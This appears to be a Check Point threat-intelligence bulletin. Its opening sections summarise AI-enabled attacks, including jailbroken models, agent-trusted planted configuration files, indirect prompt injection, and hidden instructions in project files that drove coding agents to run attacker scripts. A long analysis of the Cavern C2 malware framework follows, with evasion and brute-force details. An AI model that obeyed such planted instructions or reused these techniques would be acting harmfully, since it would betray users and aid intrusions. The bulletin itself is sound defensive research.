For years, the cyber security industry tracked AI as a force multiplier: something that made existing attack techniques faster, cheaper, and more accessible. That framing was accurate. But the Annual AI Security Report 2026 from Check Point Research documents a transition that goes further. AI has crossed from assistant to operator. Where it once helped attackers prepare, it now runs the operation.
Key observed findings
AI has crossed from development aid to live attack operator. It now does the hands-on work inside live intrusions, from China-nexus espionage campaigns to a criminal breach of multiple Mexican government agencies and has spread from nation states to ordinary cyber criminals.
AI now builds deployment-ready malware and attack suites. Its involvement is often invisible in the finished artifact: one developer used an AI environment to produce VoidLink, an 88,000-line command-and-control offensive framework, in under a week.
Attackers prefer commercial models, and now abuse them by exploiting the agentic architecture, not just single prompts. Most actors favor jailbroken mainstream models over self-hosted ones, and the durable bypass is now a planted configuration file an agent loads and trusts across sessions.
An AI-enabled criminal tooling market has matured. Phishing-as-a-service kits now embed a language model with the jailbreak built in, and conversational AI voice-agent services run vishing and one-time-passcode theft at scale.
Virtual Identity is no longer a reliable trust anchor. Voice, face, documents, and live video are now cheap to forge convincingly and are widely used in attacks taking multi-channel social engineering to a new level of integration.
AI itself is an expanding attack surface. Models cannot always separate data from instructions and content they process might influence the model’s behavior; the surrounding stack adds ordinary software vulnerabilities and supply-chain risk, all in a rapidly evolving ecosystem where security practices not always mature.
Indirect prompt injection is on the rise. Detections of longer malicious payloads increased sharply, rising roughly fivefold between March and May 2026 and approaching 1% of observed prompts in May. Longer payloads are more typical of content-borne and agentic attack paths, this pattern suggests that indirect prompt injection is becoming more operationally relevant.
Enterprise data leakage through GenAI is persistent and growing risk. High-risk prompts doubled from 2% to 4% during the last year, while organizations used an average of 10 AI applications each month, many without official approval.
Data exposure risks are not evenly distributed across the verticals. Sector-level analysis reveals that AI-related data exposure risks are not evenly distributed across the verticals, and correlate both with AI usage patterns and security maturity. Business Services recorded the highest rate of high-risk GenAI prompts at 5.91%, meaning nearly one in every 17 AI interactions carried a significant risk of sensitive data exposure.
To read the full findings, access the AI Security Report 2026 from Check Point Research here.
For the latest discoveries in cyber research for the week of 13th July, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
U.S. auto insurer AssuranceAmerica has disclosed a data breach affecting approximately 7 million people. Attackers targeted an employee and used compromised credentials to access company systems, stealing names, contact information, driver’s license numbers, insurance policy and account data, vehicle information, and claims details.
Latvia’s state-owned forestry company Latvijas Valsts Meži has suffered a ransomware attack that disrupted mapping, hunting, contractor, and customer systems. Attackers exploited a system that had remained unpatched for two years and leaked approximately 44GB of internal documents, credentials, cryptographic keys, source code, and email correspondence.
Injective Labs, a developer of blockchain and cryptocurrency software, has experienced a supply chain compromise after attackers accessed its SDK project and published malicious npm packages. The affected releases exfiltrated cryptocurrency wallet private keys and seed phrases when developers used legitimate key-generation functions embedded in the compromised software.
Moody Bible Institute, a U.S. faith-based educational institution, has disclosed a data breach affecting more than 2.3 million donors, students, alumni, and supporters. The ShinyHunters extortion group published allegedly stolen information, including names, dates of birth, residential addresses, email addresses, and phone numbers.
AI THREATS
Researchers profiled JadePuffer, an autonomous ransomware operation that used a large language model to conduct an intrusion without direct human control. The operation exploited CVE-2025-3248 in an exposed Langflow instance, accessed a production MySQL server, exfiltrated selected information, deleted the database, and issued an extortion demand.
Researchers showed that malicious instructions hidden inside open-source project files could achieve remote code execution through Anthropic Claude Code and OpenAI Codex. When operating with automated permissions, the coding agents processed the instructions and executed attacker-controlled scripts, demonstrating a risk that may affect other autonomous development tools.
Researchers disclosed Rogue Agent, a vulnerability in Google Dialogflow CX that allowed users with limited agent-editing permission to insert persistent malicious code. The injected code could capture and exfiltrate chatbot conversations. Google addressed the issue, and no known customer environments were compromised through the vulnerability.
VULNERABILITIES AND PATCHES
Multiple Tenda router models are affected by CVE-2026-11405, an undocumented authentication backdoor that provides administrative access through a hidden password. The flaw affects several FH1201, W15E, AC10, AC5, and AC6 firmware versions and allows attackers to bypass configured credentials and modify device and network settings.
Linux maintainers have patched CVE-2026-53359, a critical vulnerability in the Kernel-based Virtual Machine hypervisor. A malicious guest virtual machine could corrupt host kernel memory and potentially escape into the host environment. The flaw affects Intel and AMD x86 systems and is particularly relevant to shared cloud infrastructure.
U-Boot has addressed six vulnerabilities affecting signature verification of Flattened Image Tree files used during secure boot. Two flaws could enable arbitrary code execution while a device loads a supposedly verified image, and four could cause crashes. The affected bootloader is widely used in routers, cameras, and embedded controllers.
Opera has addressed a critical vulnerability in the Opera GX browser that allowed malicious websites to install browser modifications without user confirmation. An attacker-controlled modification could inject styles across open tabs, leak information such as Gmail addresses, and crash the browser. Opera corrected the issue.
THREAT INTELLIGENCE REPORTS
Check Point Research has profiled Cavern Manticore, an Iran-linked threat actor targeting Israeli government and information technology organizations. The group uses a modular .NET command-and-control framework and has abused remote management software and a compromised software update mechanism to deploy file-management, database, scanning, and tunneling capabilities.
Check Point Threat Emulation and Harmony Endpoint provide protection against this threat
Check Point Research have analyzed global cyberattack activity during June 2026, recording an average of 2,270 weekly attacks per organization. Ransomware incidents increased by 33% from June 2025, while The Gentlemen overtook Qilin as the most active group during the month.
Check Point researchers have investigated a student employment phishing campaign that abused compromised school email accounts and Google Forms. More than 3,200 messages passed email authentication checks and attempted to collect banking information, residential addresses, and other details associated with money mule recruitment and account compromise.
Researchers analyzed UAT-7810, a China-linked threat actor that compromises internet-facing networking devices to expand operational relay box infrastructure. The group developed new malware components and exploited unpatched Ruckus and ASUS devices to create proxy nodes for associated threat actors.
Note:SysAid was not compromised, and no SysAid vulnerability was involved. The attacker had already gained access to the victim environment and abused a legitimate software-deployment feature to deploy malware onto another machine within it.
Key Points
Check Point Research (CPR) tracks ‘Cavern Manticore’ as an Iran-nexus threat actor operating against Israeli targets, with a focus on the government and IT sectors.
Cavern Manticore shares technical overlaps with other Iranian MOIS (Ministry of Intelligence and Security)-linked threat actors, including MuddyWater and Lyceum.
CPR observed a modular C2 framework in the wild, with all samples built on top of .NET but compiled into different output formats. These components are used as Cavern agent and Cavern modules.
The framework’s anti-analysis posture relies on uncommon .NET compilation formats (Mixed-Mode C++/CLI and Native AOT) that force reverse engineers into multiple toolsets and metadata-reconstruction workflows, together with per-module AppDomain isolation as an anti-forensics measure.
In malware-engine coverage, the majority of observed samples score zero or very low detection rates on VirusTotal.
Post-exploitation modules provide the threat actor with extended capabilities, including file system and database browsing, LDAP querying, network reconnaissance, and tunneling.
In multiple observed intrusions, the initial foothold was achieved through abuse of existing Remote Monitoring and Management (RMM) software deployed in the targeted organization.
Introduction
Since early 2026, Check Point Research (CPR) has tracked a new modular command-and-control framework used by Cavern Manticore, an Iran-nexus APT group primarily targeting Israeli organizations, with a focus on IT providers, and government sectors. Cavern Manticore is an Iran MOIS (Ministry of Intelligence and Security)-linked actor, with links to the OilRig subgroup named Lyceum. The framework reflects a mature and adaptable toolset built around a shared .NET foundation, while using multiple compilation formats across different components, including .NET Framework, .NET Mixed-Mode C++/CLI, and .NET Native AOT. The compilation format itself becomes the anti-analysis layer that forces reverse engineers into multiple toolsets and metadata-reconstruction workflows.
During our investigation, we observed both Cavern agents and Cavern modules in the wild, highlighting a modular architecture that separates core communication capabilities from mission-specific post-exploitation functionality. This design allows the operators to tailor deployments per victim environment, limit what defenders and analysts can recover from any single victim and extend access after compromise through specialized modules for reconnaissance, data access, tunneling, and lateral movement.
Figure 1: Cavern Modules Evade Malware Engines.
Technical Analysis: Cavern – A Modular .NET C2 Framework
1. Cavern at a Glance
Cavern is a modular post-exploitation C2 framework built entirely on .NET, but deliberately compiled into three different binary formats: .NET Framework (IL-only), Mixed-Mode C++/CLI (IL + Native), and .NET 8 NativeAOT (Native-only).
The recovered execution chain begins with SysAid’ssoftware update feature, which the actor leverages to deploy a WinDirStat DLL sideloading package to C:\ProgramData\WinDir\WinDirStat.exe. The legitimate WinDirStat.exe binary loads the trojanized uxtheme.dll, which is the Cavern Agent, and the agent in turn loads a dedicated native communication module n-HTCommp.dll to reach the C2 and then pulls down additional post-exploitation modules on operator command.
Figure 2: Cavern Agent Execution Chain.
The table below provides an overview of the modules.
Component
Internal Name
Format
Role
Cavern Agent
uxtheme.dll
Mixed-Mode C++/CLI (.NET 4.7.2, IL + Native)
Core backdoor, module orchestrator
Communication Module
n-HTCommp.dll
NativeAOT (.NET 8, Native-only)
HTTPS/WebSocket transport, XOR-encrypted traffic
File Manager
mhm.dll
.NET Framework 4.7.2 (IL-only)
File ops, DPAPI decrypt, archive handling
SQL Browser
db.dll
.NET Framework 4.7.2 (IL-only)
Database enumeration, query, export, manipulation
LDAP Module
ode.dll
.NET Framework 4.7.2 (IL-only)
AD recon, user/group enumeration, LDAP brute-force
Network Module
n-ten.dll
NativeAOT (.NET 8, Native-only)
Net recon, port scan, share enum, SMB brute-force
Tunnel Module
n-sws.dll
NativeAOT (.NET 8, Native-only)
SOCKS5 proxy, WebSocket/WSS tunneling
2. Three Compilation Formats as Anti-Analysis
The most distinctive architectural decision in Cavern is the deliberate use of three different .NET compilation targets across its components. This is not obfuscation in the traditional sense; there is no packer, no control-flow flattening, and no string encryption anywhere in the framework. Instead, the compilation format itself becomes the anti-analysis layer, since each of the three formats has to be reversed with a different toolchain and a different workflow, and the analyst has to context-switch between them across components.
Pure .NET Framework (IL-only) modules (mhm.dll, db.dll, ode.dll) retain full symbol metadata, including the shared Command.Type enum with all 61 command IDs, readable class names like ApiEx.DatabaseBrowser, and meaningful method signatures. These modules are trivially decompilable with tools such as ILSpy or dnSpyEx. The developers chose this format for the modules that run inside the agent’s managed AppDomain, where IL code is actually required for reflection-based loading.
Mixed-Mode C++/CLI (IL + Native) agents (uxtheme.dll) combine managed .NET code with native C++ in a single PE. Its exports are not regular native functions: each one is a tiny native stub (a jmp followed by ud2 padding) in the .nep section that forwards the call to a managed method behind it. Reversing this format takes both a .NET decompiler for the managed logic and a native disassembler for the export stubs and the C++ marshaling code, so the analyst has to reverse the same binary twice in two different toolchains.
NativeAOT .NET 8 (Native-only) modules (n-HTCommp.dll, n-ten.dll, n-sws.dll) compile the entire .NET runtime statically into a single native PE. The result is usually a 3-6 MB binary with thousands of stripped framework functions, a .managed executable section, and a hydrated BSS-like section where string objects are materialized only at runtime. Security-sensitive P/Invoke calls to APIs like WNetAddConnection2, NetShareEnum, or NetLocalGroupGetMembers are resolved through runtime descriptor tables instead of appearing in the PE import table, which hides the module’s real capabilities from import-based triage.
2.1 Tooling Notes for NativeAOT Analysis
NativeAOT is the format that pushed back the hardest during analysis, so it is worth saying a few words on the tooling we put together for it.
To pull useful metadata back out of the NativeAOT samples, we ported Washi’s Ghidra NativeAOT plugin (ghidra-nativeaot; write-up: Recovering Metadata from .NET Native AOT Binaries) to IDA Pro. The port reconstructs the .NET type system from the runtime’s ReadyToRun metadata, rebuilds the MethodTable/EEType hierarchy, recovers virtual methods, materializes the frozen string literals from the hydrated section, and exposes a metadata browser for navigation. It is available at ida-nativeaot.
Figure 3: IDA Pro – “ida-nativeaot” plugin.
To recover symbols from the stripped NativeAOT .NET 8 modules, we then built a matching .NET 8.0.25 NativeAOT win-x64 “coverage” DLL (compiled with PDB) that deliberately exercises the same .NET runtime and class library code the Cavern samples rely on, and generated IDA FLIRT signatures from it. Applied to the Cavern samples, the signatures matched roughly 60% of all functions, with the matches concentrated on the parts that mattered most for the analysis, e.g., System.Diagnostics.*, System.IO.*, System.Net.*, System.Security.*, and System.Text.*.
3. The Cavern Agent
3.1 UxTheme Facade and Side-Load Trigger
The Cavern Agent is compiled as a 64-bit Mixed-Mode C++/CLI DLL named uxtheme.dll and exports 83 functions that mimic the legitimate Windows theming library. Of these 83 exports, 82 are empty stubs, single-instruction managed methods that return immediately. The one live export is EnableThemeDialogTexture, which serves as the operational entry point for the entire C2 loop.
This design creates a deliberate sandbox trap. Any automated analysis tool that invokes ordinal #1, or any other default export, will observe only inert DLL loading behavior and conclude the sample is benign. The real backdoor personality sits entirely behind export ordinal #20 (0x14).
Upon invocation, EnableThemeDialogTexture creates a singleton mutex (MYMUTEX123HELLP02 or MYMUTEX123HELLP04, depending on the build), initializes the local configuration from config.txt, and enters an infinite polling loop. Each iteration builds a command string using the framework’s custom delimiter grammar (_;;_ separates fields, _,_ separates arguments) and hands the actual HTTP transport to n-HTCommp.dll.
Figure 5: The Cavern Agent – Main C2 beacon loop.
3.3 Custom AppDomain Isolation with Post-Execution Unload
One of the most technically interesting mechanisms in the Cavern Agent is its module hosting strategy. Rather than loading .NET modules into the default AppDomain via Assembly.Load (the common approach in most .NET loaders), Cavern creates a dedicated AppDomain for each module execution, marshals a proxy object across the domain boundary, invokes the module, and then unloads the entire AppDomain.
The reason this design choice is operationally relevant is that .NET assemblies loaded into the default AppDomain cannot be unloaded without terminating the host process. By isolating each module in its own AppDomain, Cavern gets two things: loaded modules can be cleanly removed from memory after execution, leaving no analyzable assembly artifacts behind, and different versions of the same module can be loaded and run one after another without conflict.
The DotNetProxy class inherits from MarshalByRefObject, which allows it to exist in one AppDomain while being invoked from another. Inside the isolated domain, it performs standard reflection-based loading (via the DotNetProxy.runDll method).
Figure 7: The Cavern Agent – “DotNetProxy.runDll” method → inside the isolated AppDomain.
3.4 Dual Module Dispatch: Native vs. Managed
The unified module dispatcher is <Module>.run_DLL, a free function on the global <Module> type. The name looks similar to the DotNetProxy.RunDll method shown in the previous section, but the two have different roles: <Module>.run_DLL is the outer dispatcher invoked by the agent for every module load, and it is also the one that calls into DotNetProxy.RunDll (via <Module>.runAssembely method) whenever the module turns out to be a managed assembly. The dispatcher itself uses a simple filename convention: modules whose names start with n- are treated as native DLLs and loaded via LoadLibraryA/GetProcAddress, while everything else is treated as a managed .NET assembly and loaded through the AppDomain isolation mechanism described above. Whichever path is taken, the agent ends up calling the same entry point on the loaded module: a function named get_version.
// Cavern Agent - <Module>.run_DLL: Unified Module Dispatcher
// Simplified C# reconstruction of the dnSpyEx decompilation
string <Module>.run_DLL(string moduleName, string arguments)
{
string resolvedPath = get_latest_dll(moduleName); // finds highest-numbered version
string fileName = Path.GetFileName(resolvedPath);
if (fileName.StartsWith("n-"))
{
// Native module path (NativeAOT compiled)
IntPtr hModule = LoadLibraryA(resolvedPath);
if (hModule == IntPtr.Zero)
return "DLL not found...Maybe you didn't upload it!!!";
IntPtr pGetVersion = GetProcAddress(hModule, "get_version");
if (pGetVersion == IntPtr.Zero)
return "What is this sh*t?! where is get_version?!?";
var getVersion = Marshal.GetDelegateForFunctionPointer<GetVersionFn>(pGetVersion);
IntPtr resultPtr = getVersion(Marshal.StringToHGlobalUni(arguments));
return Marshal.PtrToStringUni(resultPtr);
}
else
{
// Managed module path (.NET Framework) - loaded in isolated AppDomain
List<string> argList = new List<string> { arguments };
return (string)<Module>.runAssembely(
"mydomain",
new List<byte>(File.ReadAllBytes(resolvedPath)),
resolvedPath,
string.IsNullOrEmpty(arguments), // noArgs flag
argList,
"MyClass.Program", // fixed class name
"get_version" // fixed method name - the universal interface
);
}
}
The native path contains two error strings worth flagging: "What is this sh*t?! where is get_version?!?" and "DLL not found...Maybe you didn't upload it!!!".
Figure 8: The Cavern Agent – native path of dual module dispatch → error strings.
These are not the kind of polished, neutral diagnostics a code generator tends to emit. They are written in the first person, with frustration, profanity and exclamation marks, and they read exactly like an operator talking to themselves while debugging their own tooling. We come back to what this tells us about authorship in the “Authorship and the Human Factor” section below.
3.5 Module Versioning and Self-Update
Cavern implements a numbered DLL versioning scheme. The function get_latest_dll scans the working directory for files matching a base module name with appended numeric suffixes (e.g., n-HTCommp0.dll, n-HTCommp1.dll) and loads the highest-numbered variant. This allows the operator to push module updates via the C2 without file-name conflicts.
Figure 9: The Cavern Agent – module versioning.
The self-command 002 (exposed via self_execute method) accepts a Base64+GZip-compressed module payload from the C2, writes it to disk as a new numbered DLL, and, in the case of uxtheme.dll itself, executes a hot-swap: the running agent renames its own DLL, writes the new version, loads it, calls its EnableThemeDialogTexture with signalCode=200 to signal the update-return path, and terminates. All implemented self-commands are detailed in the next section.
The agent handles six built-in self-commands before reaching the module dispatcher:
Command
Action
001
Update polling interval
002
GZip+Base64 module update (including self-update of uxtheme.dll)
003
Toggle debug logging
004
Activate WebSocket communication mode
005
Close WebSocket connection
006
Reconnect WebSocket
3.7 Startup Cleanup as Anti-Forensics
Newer agent builds perform aggressive directory cleanup on first startup: they enumerate all files and subdirectories in the working directory and delete everything except the Communication Module (n-HTCommp.dll), the configuration file (config.txt), and log files. This means any modules delivered by the C2 in a previous session are wiped before the next execution cycle, and the agent reports "cleared" to the C2 upon completion.
3.8 Variant Evolution
Three agent builds were recovered, showing clear iterative development:
Attribute
Oldest Build
Build 02
Build 04
Mutex
MYMUTEX123HELLP
MYMUTEX123HELLP02
MYMUTEX123HELLP04
C2 Domain
auth.hospitalinstallation.com
google.com.hospitalinstallation.com
google.com.hospitalinstallation.com
Config Storage
id.txt (plain 7-char ID)
config.txt (JSON)
config.txt (JSON)
Self-Commands
001-003
001-006 (adds WebSocket)
001-006
Cleanup
None
Working-dir wipe
Working-dir wipe
Debug Default
true
false
true
4. The Communication Module – “n-HTCommp.dll”
The communication module is compiled as a NativeAOT .NET 8 DLL (~5.5 MB, with about 21k stripped framework functions) and exposes a single operational export, get_version. Despite the name, this exported function is a full multi-verb HTTP and WebSocket command dispatcher. The agent passes transport commands as delimited strings, and n-HTCommp.dll parses the verb, performs the network operation, and returns the result.
The verb matching is the first place where the NativeAOT format makes analysis visibly harder. In a normal .NET build, a check like verb == "get" calls String.Equals, and the literal "get" lives in the string heap (#US), where any strings scan will find it. NativeAOT instead compiles the comparison inline: it first checks the length of the verb string, then loads the verb’s UTF-16 characters straight from memory and compares them against hard-coded integer constants. Those constants are simply the verb’s characters packed together as numbers. For "get", the three UTF-16 characters g (0x0067), e (0x0065) and t (0x0074) become the constants 0x650067 and 0x740065 that show up in the comparison.
This is a real triage problem because every readable string in this module behaves differently than in a normal .NET binary. Frozen string literals like https, wss, text/plain, the WebSocket URL fragments and a handful of error messages live in the hydrated section, which is materialized at runtime by the NativeAOT runtime and only becomes a readable UTF-16 string at that point. A strings pass over the DLL on disk does not see them, since on disk that section is a compressed initialization blob. They become visible only after the section is rehydrated, either by running the sample or by reconstructing it statically with the kind of plugindescribed in section 2.1.
The packed verb constants are even further out of reach: they are not strings at all, they are integer immediates baked into the cmp instructions of the dispatcher. So in practice a strings-based triage of this DLL on disk returns almost nothing usable, neither the verb set, nor the URL fragments, nor the user-agent header. The command grammar simply does not exist in any byte sequence that a string scan can pick up.
The dispatcher first marshals the inbound command to a managed string, then splits it on the framework’s two delimiters (_;;_ for the verb/argument boundary and _,_ between arguments), and dispatches to a verb handler.
Each verb maps to a distinct network operation, and the handlers differ in three operationally meaningful ways: whether the payload is XORed with key 0x48 (the in-place traffic transform), whether it is then Base64-encoded for the HTTP body, and which HTTP/WS headers and endpoints they touch. Every HTTP-based verb sends a fixed Microsoft EdgeUser-Agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0), and the two C2-bound verbs (get and send) additionally attach a custom X-User-token header whose value is the agent ID with the literal suffix 00 appended. The summary below was reconstructed by following each verb handler through its full HTTP/WS request build path:
Verb
Network
Endpoint built from arguments
XOR (0x48)
Base64
User-Agent
X-User-token
Purpose
get
HTTP GET
args[1] + "/profile"
yes (response body, after Base64 decode)
yes
yes
yes (args[0] + "00")
Beacon: poll the C2 for the next task
send
HTTP POST text/plain
args[1] + "/gallery"
yes (request body, before Base64 encode)
yes
yes
yes (args[0] + "00")
Submit a task result back to the C2
cget
HTTP GET
args[0] (raw URL)
no
no
yes
no
Operator-driven fetch of an arbitrary URL (not C2)
cpost
HTTP POST
args[0] (raw URL), body args[1], content-type args[2] (default text/plain)
no
no
yes
no
Operator-driven POST to an arbitrary URL
upload
HTTP POST multipart/form-data
args[0] (raw URL), file args[1] from disk as form field file (application/octet-stream)
no
no
yes
no
Exfiltrate a local file to an arbitrary URL
ws
WS Open + initial WS Send
wss://<host>/socket if args[0] starts with https, otherwise ws://<host>/socket; immediately sends args[1] + "00" as the first text frame
yes (initial frame only)
no
n/a
n/a (sent inside first frame instead)
Open the WebSocket transport and register the session
getws
WS Recv
active socket
yes (whole accumulated payload, then UTF-8 decoded)
no
n/a
n/a
Receive a message from the WebSocket
sendws
WS Send
active socket
yes (UTF-8 bytes, then framed as text)
no
n/a
n/a
Send a message over the WebSocket
closews
WS Close
active socket
n/a
n/a
n/a
n/a
Close the WebSocket
A few practical observations follow directly from the table. First, the XOR transform with key 0x48 is the framework’s traffic-encoding layer, and it applies to every C2-bound channel: it is on both directions of the HTTP path (get / send) and on both directions of the WebSocket path (getws / sendws), plus the initial WS handshake frame. The only verbs that bypass it are cget, cpost and upload, which talk to operator-supplied URLs that have nothing to do with the Cavern C2. Second, Base64 is applied on top of XOR only for the HTTP transport (get and send), where the body has to survive as text/plain; the WebSocket path skips Base64 because it can carry the raw XORed bytes inside a text frame directly. Third, the User-Agent header is fixed across every HTTP verb, including the operator-driven ones, which makes the UA itself a stable host artifact for detection.
Figure 14: The Cavern’s “n-HTCommp.dll” module – “send” command handler.
5. Post-Exploitation Modules
All Cavern modules, regardless of compilation format, share a uniform interface contract: the agent invokes get_version(List<string> args) for managed modules or get_version(wchar_t* args) for native modules. The first argument carries a newline-delimited command string using numeric command IDs from the shared Command.Typeenum, with _;;_ and _,_ as field/argument delimiters.
The full command set is defined once in that shared enum and reused across every module. We recovered it intact from the .NET Framework modules, which keep their symbols, and it is worth showing in full because the IDs are grouped by capability area. The grouping itself is informative: each block of numbers maps to one functional category, and the gaps between blocks line up neatly with the individual modules that implement them.
The enum defines 61 command IDs in total. Most map directly to a handler in one of the recovered modules, but a handful (such as the 5xxprocess and 6xx/7xxregistry and service ranges) have no implementation in any sample we obtained, which suggests at least one module was never delivered to the victim and is still missing from our set.
Two olderCav3rn-era samples found on VirusTotal during this writeup also help frame that gap. They predate the rename, are nearly identical to each other, and are not part of the modular intrusion documented here, but each ships every ApiEx.* capability (ApiEx.Proc, ApiEx.Reg, ApiEx.Serv included – related to the 5xx/6xx/7xx command IDs) inside a single .NET DLL under namespace CAV3RN_APIEX_Module rather than across separate modules. Transport in those builds is split: the Cav3rn agent itself only reads steganographic command PNGs from a local inpt\ directory and writes result PNGs into outpt\, while the HTTP exchange against the C2 is performed by a separate HTTP companion module (CAV3RN_Http_Module), which we later recovered as a third Cav3rn-era sample. The companion consumes the same Domain[] and PageName = "cac.aspx" constants the agent carries, POSTss=<timestamp>&id=<AgentID>&q=<XOR+Base32 telemetry> to https://<adserviceupdate[.]com|hygienehistory[.]com>/cac.aspx, and expects a response whose body starts with a fixed 21-byte JPEG magic header and whose Content-Disposition: filename= value is XOR+Base32-encrypted with the AgentID, then drops the carved payload into the same local inpt\ directory the agent reads from. Two details in that exchange show that cac.aspx is an operator-deployed handler rather than an abused legitimate page: the request and response shape is a custom protocol no clean IIS server would understand or produce, and the companion’s ServerCertificateValidationCallback is hard-coded to always return true, meaning the operator is explicitly not relying on a properly-issued certificate for the C2 endpoint. Whether the underlying IIS server is attacker-stood-up or cac.aspx was planted on a third-party host the operator does not fully control is not something the binary distinguishes.
The modern framework collapses both halves into n-HTCommp.dll with direct HTTPS / WebSocket. The command set is also smaller and clearly under active development, and there is no NativeAOT, no Mixed-Mode wrapper, and no AppDomain isolation. Today’s Cavern is a refactor of that same project, split across separate modules and rebuilt around three different compilation formats to harden the analysis. The three hashes (Cav3rn-era samples) are listed in the IOC section as the olderCav3rnagent (two near-identical builds) and the olderCav3rnHTTP module; the rest of this publication stays focused on the modular generation actually used in the intrusion.
5.1 File Manager – “mhm.dll”
The file manager module implements the broadest command surface across three of the enum blocks (the 1xxinformation block 101-104, the 3xxfile/directory block 301-314, and the 8xxarchive block 801-806): host information collection, DPAPI decryption, drive/file/directory enumeration, recursive file search with content matching, GZip+Base64 file transfer in both directions, ZIP archive creation/extraction, and file/directory manipulation. It does not implement the 5xx, 6xx, or 7xx ranges even though those IDs are present in the shared enum it ships.
Its most notable capability is DPAPI decryption of operator-supplied blobs. The CryptDecrypt function takes a Base64-encodedDPAPI-protected blob, calls ProtectedData.Unprotect with DataProtectionScope.CurrentUser, and returns the decrypted plaintext. Because the module runs inside the victim’s process under their user token, this lets the operator decrypt any DPAPI-protected secret that belongs to the compromised user.
Figure 16: The Cavern’s “mhm.dll” module – “CryptDecrypt” DPAPI decryption.
An older variant of mhm.dll retains legacy “Cav3rn” naming artifacts in its static configuration: file extensions .CvnC.png, .CvnA.png, .CvnR.png for command, API, and result files, respectively, a config filename Cvn.cfg, a hardcoded page name cac.aspx, and embedded JPEG header magic bytes. These artifacts point to an earlier webshell-style transport layer (the HTTP side fronted by an ASP.NET page on a separate IIS server, invoked by the olderCav3rnHTTP module covered in Section 5, not by this module or by the older Cav3rn agent itself) that was retired when the framework evolved from “Cav3rn” to “Cavern” and moved to the n-HTCommp.dll native communication module.
The database module implements a REST-like route dispatcher that accepts JSON commands with operator-supplied SQL Server credentials passed through pseudo-HTTP headers. It supports SQL database enumeration, query, export, and manipulation.
Figure 18: The Cavern’s “db.dll” module – SQL database browser.
The connection pool caches SQL connections keyed by connection string. Credentials are supplied per-request via x-db-user, x-db-password, x-db-host, with optional x-db-encrypt and x-db-trust-cert fields, a convention borrowed from HTTP header-based authentication patterns.
5.3 LDAP / Active Directory Module – “ode.dll”
The LDAP module provides Active Directory reconnaissance and credential testing. It auto-discovers the LDAP server and base DN from LDAP://RootDSE when not explicitly supplied, performs paged searches with a page size of 1,000, and always accepts TLS certificates without validation.
The most operationally significant function is LdapBrute, which accepts semicolon-delimited username and hex-encodedpassword lists, supports file-based input via the <path prefix convention, and includes a configurable inter-attempt delay with break-on-success logic.
Figure 19: The Cavern’s “ode.dll” LDAP module → “LdapBrute” method.
The network module is compiled as NativeAOT and provides network reconnaissance, port scan, share enumeration, and SMB brute-force. It resolves its security-sensitive Windows APIs at runtime through P/Invoke descriptor tables, which keep them out of the PE import table. Static analysis of the P/Invoke resolution data recovered 21 dynamically-loaded API descriptors. A selection of the most security-relevant ones is shown below:
P/Invoke Target
Library
Purpose
WNetAddConnection2
mpr.dll
Map network drive with credentials
WNetCancelConnection2
mpr.dll
Unmap network drive
WNetOpenEnum / WNetEnumResource
mpr.dll
Enumerate network resources
NetUserEnum / NetUserGetInfo
netapi32.dll
User enumeration
NetLocalGroupEnum / GetMembers
netapi32.dll
Local group enumeration
NetServerEnum
netapi32.dll
Domain computer discovery
NetShareEnum
netapi32.dll
Share enumeration
NetWkstaGetInfo
netapi32.dll
Domain/workstation info
The NetUseBrute function iterates over operator-supplied credential pairs, calling WNetAddConnection2 against a target share with each pair and immediately disconnecting successful connections via WNetCancelConnection2, which gives the operator an SMB-based credential spraying primitive.
Figure 20: The Cavern’s “n-ten.dll” module – “NetUseBrute” function → “WNetAddConnection2”.
The tunnel module implements a full SOCKS5 proxy and WebSocket/WSS tunnel in both server and client modes. Its get_version export parses operator-supplied configuration, constructs a command-line argument vector, and dispatches to the internal argument parser, which supports:
In server mode, it binds HTTP/HTTPS listeners, accepts incoming WebSocket upgrades, enforces username/password authentication, and relays SOCKS5 proxy traffic through the WebSocket tunnel. A built-in HTTP status page at /index.htm returns a Server Status HTML response, a small operational convenience. The tunnel protocol handles five message opcodes: connect, heartbeat, data, disconnect, and error.
The binary also preserves developer typos such as "tunnel message receivecd" and "handeling connect ms". Misspellings like these are another small human fingerprint, the kind of thing a person types in a hurry and a code generator generally does not produce. We pull these threads together in the next section.
6. Attribution Indicators
The recovered artifacts contain several developer and infrastructure fingerprints:
PDB paths across three modules consistently reference C:\Users\rick\Desktop\Modules\cavern\, which establishes “rick” as the developer username and “cavern” as the internal project name.
C2 infrastructure uses subdomains of hospitalinstallation[.]com: auth[.]hospitalinstallation[.]com (older builds) and google[.]com[.]hospitalinstallation[.]com (newer builds, where the google[.]com[.] prefix is a simple visual trick aimed at anyone skimming proxy logs).
Legacy naming in the oldermhm.dll variant references Cav3rn (with a leetspeak “3”) through field names like Cav3rnCommandExt, which suggests the framework was renamed from “Cav3rn” to “Cavern” during its development.
Cross-version continuity. Two older non-modularCav3rn samples (listed in IOCs as the older Cav3rnagent) carry the same ApiEx.* capability tree, the same Command.Typeenum and the same idiosyncratic method names that today’s modular Cavern is built on top of. The newer framework adds commands (LDAP_BRUTE, CRYPT_DECRYPT, archive ops and the NET_PORT_SCN block), retires the webshell + steganography transport in favor of n-HTCommp.dll, and splits the codebase across three different compilation formats – a refactor of the same project, not a rewrite.
7. Authorship and the Human Factor
It is worth pausing on a question that comes up with almost every new toolset we look at today: how much of this was written by a person, and how much by an AI coding assistant. In 2026 it is genuinely hard to imagine a project of this size being built with no AI assistance at all, and we would not claim that Cavern was. Boilerplate such as the JSON formatting, the LINQ-heavy collection handling, and the standard P/Invoke signatures could easily have been drafted or completed with a model. That kind of help is so common now that its presence would tell us very little.
What the artifacts do tell us, and tell us clearly, is that a human was significantly and substantively involved in building this framework. The evidence is in the rough edges that a code generator tends to sand off:
Error strings written in frustration. The native module dispatcher of the Cavern agent returns "What is this sh*t?! where is get_version?!?" when an export is missing and "DLL not found...Maybe you didn't upload it!!!" when a module is absent. These are first-person, profane, and exasperated. They are the voice of an operator debugging their own tooling, not the neutral phrasing a model defaults to.
Typos baked into the binaries. The tunnel module carries "tunnel message receivecd" and "handeling connect ms", and the SQL module builds a query as SELECT TOP({0}) *FROM[{1}].[{2}] with the space dropped before FROM. Small slips like these are what a person produces while typing quickly.
Idiosyncratic, hand-picked names. Hardcoded markers such as the MYMUTEX123HELLP02 / MYMUTEX123HELLP04 mutexes and the leetspeak Cav3rn to Cavern rename are personal choices, the kind of naming a developer reaches for, not output a model would converge on.
